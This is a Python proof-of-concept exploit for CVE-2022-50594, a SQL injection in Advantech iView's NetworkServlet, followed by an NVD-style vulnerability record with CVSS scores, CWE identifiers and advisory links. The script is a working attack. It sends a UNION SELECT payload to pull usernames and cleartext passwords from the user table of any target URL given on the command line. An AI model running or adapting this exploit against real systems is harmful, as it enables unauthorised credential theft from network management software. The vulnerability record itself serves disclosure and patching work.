CVE-2022-50594

import requests import sys # CVE-2022-50594 PoC - Advantech iView SQL Injection # Target: Advantech iView < v5.7.04 build 6425 # Endpoint: NetworkServlet # Parameter: data def exploit_sqli(target_url, payload): """Exploit SQL injection in Advantech iView NetworkServlet""" endpoint = f"{target_url.rstrip('/')}/NetworkServlet" # SQL injection payload to extract user data data = { 'data': payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.post(endpoint, data=data, headers=headers, timeout=30, verify=False) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def extract_users(target_url): """Extract user credentials using SQL injection""" # Payload to extract user table information payload = "1' UNION SELECT NULL,username,password,NULL,NULL,NULL,NULL,NULL,NULL FROM user_table--" return exploit_sqli(target_url, payload) def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] print(f"[*] Targeting: {target}") print(f"[*] Exploiting CVE-2022-50594...") result = extract_users(target) print(f"[+] Response:\n{result}") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2022-50594", "sourceIdentifier": "[email protected]", "published": "2025-11-06T20:15:37.773", "lastModified": "2025-11-24T18:18:59.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech iView versions prior to v5.7.04 build 6425 contain a vulnerability within the SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘data’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for the exfiltration of user data, included clear text passwords."}, {"lang": "es", "value": "Advantech iView versiones anteriores a v5.7.04 build 6425 tienen una vulnerabilidad en la herramienta de gestión SNMP que permite a atacantes remotos eludir los controles de autenticación y realizar una vulnerabilidad de inyección SQL dentro del parámetro 'data' del endpoint 'NetworkServlet'. La explotación exitosa permite la exfiltración de datos del usuario, incluidas contraseñas en texto claro."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}, {"lang": "en", "value": "CWE-306"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:iview:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.7.04.6425", "matchCriteriaId": "8F719357-8063-4CD2-8275-57FC01CB52A1"}]}]}], "references": [{"url": "https://blog.exodusintel.com/2022/03/01/advantech-iview-page_action_service-parameter-sql-injection-remote-code-execution-vulnerability/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.advantech.tw/support/details/firmware?id=1-HIPU-183", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/advantech-iview-data-parameter-sqli-information-disclosure", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}